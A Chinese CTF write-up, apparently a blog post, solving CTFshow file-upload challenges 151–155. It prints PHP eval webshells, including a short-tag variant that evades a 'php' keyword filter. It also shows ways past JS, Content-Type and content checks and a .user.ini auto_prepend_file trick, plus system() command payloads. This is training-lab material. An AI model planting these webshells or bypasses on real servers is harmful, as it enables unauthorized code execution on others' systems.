当前位置: 首页 > news >正文

CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

 

这段时间一直在搞文件上传相关的知识,正好把ctf的题目做做写写给自字做个总结!

不过有一个确定就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 -- 前端验证

前提:我们已知此处可以上传图片类型文件

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法建议使用虽然我们有时候能够绕过,但是当此网页含有大量使用js编写的代码时,会导致网页部分功能瘫痪!汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件

一句话木马,上下两种无论带不带引号均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

此时我们存在两种方法(此处我们统一使用第2中方法):

(1)通过蚁剑连接寻找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php

连接密码(因人而异):

ws

(2)直接通过hackbar发post包利用system()函数执行

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(二)第152关 -- 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/pnf

发送一句话木马,修改content-type值为:image/png,此处注意一下,我直接上传.php文件发现无法通过,定睛一看才发现前端验证还没关,汗颜!上传1.png的木马

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153关 -- 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径内容包含在首页代码处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

3.上传1.png格式一句话木马

上传成功!

4.利用

首先访问..upload/index.php触发.ujser.ini文件将1.png内容写入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次,操作如上述两关


https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154关 -- 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上传成功

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155关 -- 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

成功!

先写到这,明天继续!

相关文章:

  • 基于树的存储数据结构demo
  • Ubuntu系统版本查看办法
  • (Qt) 默认QtWidget应用包含什么?
  • 汽车工厂安灯系统能够快速知晓生产现场的状况
  • github下载代码
  • Docker 部署 Nginx 实现一个极简的 负载均衡
  • docker 笔记汇总
  • Java入门基础学习笔记36——面向对象基础
  • 思科模拟器--03.RIP协议路由--24.5.17
  • FOC之反park变化推导笔记
  • mysql 多表关联查询性能优化-同一sql不同的执行计划
  • 最近最少使用缓存
  • dify:开源 LLMOps平台。
  • Android Retrofit 封装模版
  • 物体检测算法-R-CNN,SSD,YOLO
  • 2017届校招提前批面试回顾
  • C++入门教程(10):for 语句
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • js学习笔记
  • PHP 程序员也能做的 Java 开发 30分钟使用 netty 轻松打造一个高性能 websocket 服务...
  • Spring Boot MyBatis配置多种数据库
  • 观察者模式实现非直接耦合
  • 官方新出的 Kotlin 扩展库 KTX,到底帮你干了什么?
  • 使用 @font-face
  • 我感觉这是史上最牛的防sql注入方法类
  • 我看到的前端
  • 用简单代码看卷积组块发展
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • ​​​​​​​​​​​​​​汽车网络信息安全分析方法论
  • ​Python 3 新特性:类型注解
  • ​软考-高级-信息系统项目管理师教程 第四版【第19章-配置与变更管理-思维导图】​
  • # Kafka_深入探秘者(2):kafka 生产者
  • # Redis 入门到精通(一)数据类型(4)
  • #define、const、typedef的差别
  • #传输# #传输数据判断#
  • #在 README.md 中生成项目目录结构
  • (8)STL算法之替换
  • (Java企业 / 公司项目)点赞业务系统设计-批量查询点赞状态(二)
  • (Java数据结构)ArrayList
  • (超简单)使用vuepress搭建自己的博客并部署到github pages上
  • (翻译)terry crowley: 写给程序员
  • (附源码)python旅游推荐系统 毕业设计 250623
  • (附源码)springboot车辆管理系统 毕业设计 031034
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • (四)鸿鹄云架构一服务注册中心
  • (原+转)Ubuntu16.04软件中心闪退及wifi消失
  • (原創) 如何將struct塞進vector? (C/C++) (STL)
  • (源码分析)springsecurity认证授权
  • (转)es进行聚合操作时提示Fielddata is disabled on text fields by default
  • (自用)learnOpenGL学习总结-高级OpenGL-抗锯齿
  • .CSS-hover 的解释
  • .mp4格式的视频为何不能通过video标签在chrome浏览器中播放?
  • .Net - 类的介绍
  • .NET CLR Hosting 简介
  • .NET Core引入性能分析引导优化